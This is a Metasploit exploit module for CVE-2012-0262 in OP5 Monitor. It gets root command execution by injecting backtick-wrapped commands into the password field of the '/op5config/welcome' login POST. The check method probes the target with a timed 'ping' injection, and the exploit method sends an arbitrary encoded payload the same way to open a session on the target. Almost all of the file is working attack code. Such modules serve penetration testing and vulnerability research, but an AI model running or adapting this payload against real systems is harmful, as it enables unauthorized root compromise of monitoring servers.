##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'        => 'OP5 welcome Remote Command Execution',
			'Description' => %q{
				This module exploits an arbitrary root command execution vulnerability in
				OP5 Monitor welcome. Ekelow AB has confirmed that OP5 Monitor versions 5.3.5,
				5.4.0, 5.4.2, 5.5.0, 5.5.1 are vulnerable.
			},
			'Author'     => [ 'Peter Osterberg <j[at]vel.nu>' ],
			'License'    => MSF_LICENSE,
			'References' =>
				[
					['CVE', '2012-0262'],
					['OSVDB', '78065'],
					['URL', 'http://www.ekelow.se/file_uploads/Advisories/ekelow-aid-2012-01.pdf'],
					['URL', 'http://www.op5.com/news/support-news/fixed-vulnerabilities-op5-monitor-op5-appliance/'],
					['URL', 'http://secunia.com/advisories/47417/'],
				],
			'Privileged' => true,
			'Payload'    =>
				{
					'DisableNops' => true,
					'Space'       => 1024,
					'BadChars'    => '`\\|',
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'perl ruby python',
						}
				},
			'Platform'       => [ 'unix', 'linux' ],
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 05 2012',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(443),
				OptString.new('URI', [true, "The full URI path to /op5config/welcome", "/op5config/welcome"]),
			], self.class)
	end

	def check
		print_status("Attempting to detect if the OP5 Monitor is vulnerable...")
		print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

		# Try running/timing 'ping localhost' to determine is system is vulnerable
		start = Time.now

		data = 'do=do=Login&password=`ping -c 10 127.0.0.1`';
		res = send_request_cgi({
			'uri'     => normalize_uri(datastore['URI']),
			'method'  => 'POST',
			'proto'   => 'HTTPS',
			'data'    => data,
			'headers' =>
			{
				'Connection'     => 'close',
			}
		}, 25)
		elapsed = Time.now - start
		if elapsed >= 5
			return Exploit::CheckCode::Vulnerable
		end
		return Exploit::CheckCode::Safe
	end

	def exploit
		print_status("Sending request to https://#{rhost}:#{rport}#{datastore['URI']}")

		data = 'do=do=Login&password=`' + payload.encoded + '`';

		res = send_request_cgi({
			'uri'     => normalize_uri(datastore['URI']),
			'method'  => 'POST',
			'proto'   => 'HTTPS',
			'data'    => data,
			'headers' =>
			{
				'Connection'     => 'close',
			}
		}, 10)

		if(not res)
			if session_created?
				print_status("Session created, enjoy!")
			else
				print_error("No response from the server")
			end
			return
		end
	end
end
